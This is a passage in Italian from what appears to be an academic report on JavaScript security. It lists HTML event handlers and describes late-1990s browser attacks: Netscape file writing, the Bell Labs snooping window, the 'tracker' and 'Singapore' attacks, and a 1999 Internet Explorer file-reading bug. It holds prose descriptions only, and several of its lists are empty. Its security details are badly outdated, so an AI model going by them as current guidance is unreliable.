Nell' esempio seguente riportiamo alcuni eventi inclusi
nell'HTML:
<A
HREF="location" ONCLICK="clickJScode"
ONMOUSEOUT="outJScode"
ONMOUSEOVER="overJScode"
TARGET="windowName"
>
...
</A>
<BODY BACKGROUND="bgURL" BGCOLOR="color" TEXT="color"
LINK="color" ALINK="color" VLINK="color" ONLOAD="loadJScode"
ONUNLOAD="unloadJScode" ONBLUR="blurJScode" ONFOCUS="focusJScode"
CLASS="styleClass" ID="namedPlaceOrStyle"LANG="ISO" STYLE="style">
...
</BODY>
JavaScriptdefinisce vari eventi a cui uno Script può
rispondere. La Tabella 3.2 elenca brevemente questi eventi.
EVENTO | SCOPO |
Blur | Si verifica quando un utente fa clic fuori dal campo corrente |
Change | Si verifica quando un utente cambia un valore in una scheda |
Click | Si verifica quando un utente fa clic su un link o campo di una scheda |
Focus | Si verifica quando l'utente seleziona un elemento in una scheda |
Load | Si verifica quando il browser cambia la pagina |
Mouseover | Si verifica quando l'utente porta il puntatore del mouse su un link |
Select | Si verifica quando l'utente seleziona il campo di una scheda |
Submit | Si verifica quando l'utente invia la scheda |
Unload | Si verifica quando l'utente si porta su un'altra pagina HTML |
Tabella 3.2
4. Rischi di sicurezza relativi a JavaScript
È importante come alcuni aspetti di JavaScript
possano presentare alcuni problemi di sicurezza, eccone alcuni presenti
in alcune implementazioni di JavaScript che possono essere sfruttate facilmente
da un hacker :
4.1 I problemi di sicurezza di Netscape
Sfortunatamente, se si usa Netscape Navigator 3.0,3.01 o 4.0 con JavaScript attivato, il computer rimane comunque a rischio. Un server ostile può inviare all'utente dei file a sua insaputa. Ad esempio la pagina di un hacker può scrivere sui file locali del computer, come mostra il seguente codice:
document.open("Posso scrivere sul disco?")La scrittura del file sul disco richiede il passaggio attraverso la finestra di dialogo di un salvataggio e dunque non è trasparente. L'utente sceglie il nome del file e in questa modo il server ostile può scrivere sul disco. In questo modo un hacker sufficientemente abile può specificare che una determinata pagina richiede un determinato plug-in di Navigator e visualizza la finestra di dialogo dei plug-in. Ma il plug-in prelevato, potrebbe invece occuparsi di cancellare tutti i file contenuti nel computer o di aprire un collegamento con il server ostile.
document.write("")
document.close()
4.2 Il problema scoperto dal Bell Labs
Il centro di coordinamento del Bell Labs ha contattato
Microsoft a proposito della potenziale vulnerabilità (identificata
per la prima volta da un dipendente dei Bell Labs), che consente agli hacker
di monitorare in modo remoto le attività Web di un utente. Vari
browser Web, Netscape Navigator e Micosoft Internet Explorer
che
supportano Java sono vulnerabili a questo tipo di attacchi. Per ottenere
una correzione di Internet Explorer 3.02 per Windows NT 4.0 si può
contattare il sito http://www.microsoft.com.
Inizialmente l'utente carica un documento HTML in un
una finestra W di un browser che contiene uno Script che prima setta se
stesso ad essere indipendente e persistere su più documenti. Poi
crea una nuova finestra W' (chiamata snooping window) usando la funzione
window.open(
) e carica su di essa un documento HTML che contiene uno Script ostile,
il quale consente ad un hacker di controllare in modo remoto tutte le attività
dell'utente, incluse le seguenti:
4.3 Altri attacchi
Passiamo a descrivere brevemente altri possibili attacchi:
Tracker attack: questo attacco ha un comportamento simile al problema riscontrato dal Bell Labs, e sfrutta la vulnerabilità di Netscape Navigator 3.0 riguardo all'utilizzo dell'evento "Unload"(vedi Tabella 3.2) gestito dall' handler onUnload( ) che è un codice JavaScript che si occupa di scaricare il documento HTML corrente. Il browser carica il documento HTML selezionato nella finestra corrente W; tale documento contiene uno Script che crea una nuova finestra nella quale viene eseguito lo Script ostile. Quest'ultimo sostituisce l'handler onUnload( ) nella finestra W con un altro che quando viene eseguito oltre a scaricare il documento HTML trasmette le informazioni dell'utente ad un server remoto.
Singapore attack: anche questo attacco è molto simile ai precedenti e lavora principalmente in Netscape Navigator 4.* . La virtual machine di Java inclusa nel browser permette ad un thread applet di continuare l'esecuzione anche quando il documento che lo conteneva è stato scaricato. In particolare questo attacco avviene facendo interagire un applet Java con gli Script JavaScript, sfruttando una tecnologia, LiveConnect, progettata per permettere l' interazione tra l'applet e Script. L'applet ostile inizia la sua esecuzione quando si apre il documento HTML che lo contiene, ottenendo così una finestra che rimarrà attiva anche dopo aver caricato un altro documento. L'applet interagendo con gli Script è in grado di comunicare al server remoto tutte le informazioni contenute nei documenti caricati succesivamente.
Per ulteriori chiarimenti e soluzioni si può consultare
il sito del CERT all'URL:
http://www.cert.org/advisories/CA-97.20.javascript.html
[3].
Bug 27-12-1999: Il 27/12/1999
è emerso un nuovo bug che potrebbe colpire tutti gli utenti del
browser Microsoft. Stando al suo scopritore, un programmatore bulgaro Georgi
Guninski, è ancora una volta JavaScript il problema. In questo caso
quando si utilizza il comando NavigateAndFind diretto verso una pagina
con Javascript all'interno di un frame, il controllo di sicurezza sul Javascript
da parte del browser può essere superato. In tal caso il comando
da la possibilità ad un hacker di leggere qualsiasi genere di file
sul computer dell'utente.
Microsoft ha puntualizzato che in un caso del genere, i file non
potrebbero essere né modificati né cancellati, Guninski ha
ripetuto per l'ennesima volta che i controlli di Active Scripting di Explorer
dovrebbero essere disabilitati da chi vuole dormire sonni tranquilli. E
per questo ha anche pubblicato sul suo sito una dimostrazione
del bug.
Per ulteriori informazioni si può consultare il sito
http://www.punto-informatico.it/p.asp?i=30108
[4].
Conclusioni
In questa relazione si è parlato delle basi degli
Script realizzati con linguaggi C/C++, Perl e JavaScript. Inoltre si è
appreso che esistono dei rischi di sicurezza sia per i server che per il
client. Quando si sviluppa il contenuto di un sito Web o si visita un sito,
è opportuno tenere in considerazione i rischi derivanti dall'impiego
degli Script.
Ecco, in breve, alcuni concetti chiave:
Bibliografia
[1] Klandler and Renehan "Hacker Proof" McGraw-Hill
Alcuni siti che forniscono informazioni utili per la creazione di Script: